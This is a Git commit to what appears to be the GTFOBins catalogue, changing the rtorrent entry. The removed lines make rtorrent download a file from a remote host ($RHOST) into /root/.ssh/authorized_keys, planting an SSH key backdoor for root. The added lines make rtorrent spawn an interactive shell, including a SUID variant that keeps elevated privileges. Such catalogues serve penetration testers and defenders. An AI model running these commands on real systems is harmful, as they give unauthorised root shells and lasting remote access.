Make rtorrent a proper shell

This commit is contained in:
Andrea Cardaci 2022-12-16 13:16:06 +01:00 committed by GitHub
parent 3f4b4f3e24
commit 5519b3a825
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,18 +1,11 @@
---
description: a BitTorrent client for ncurses.
functions:
file-write:
shell:
- code: |
cat >> ~/.rtorrent.rc <<EOF
execute.throw = mkdir,/root/.ssh
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
EOF
echo "execute = /bin/sh,-c,\"/bin/sh <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
rtorrent
suid:
- code: |
cat >> ~/.rtorrent.rc <<EOF
execute.throw = mkdir,/root/.ssh
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
EOF
echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
./rtorrent
---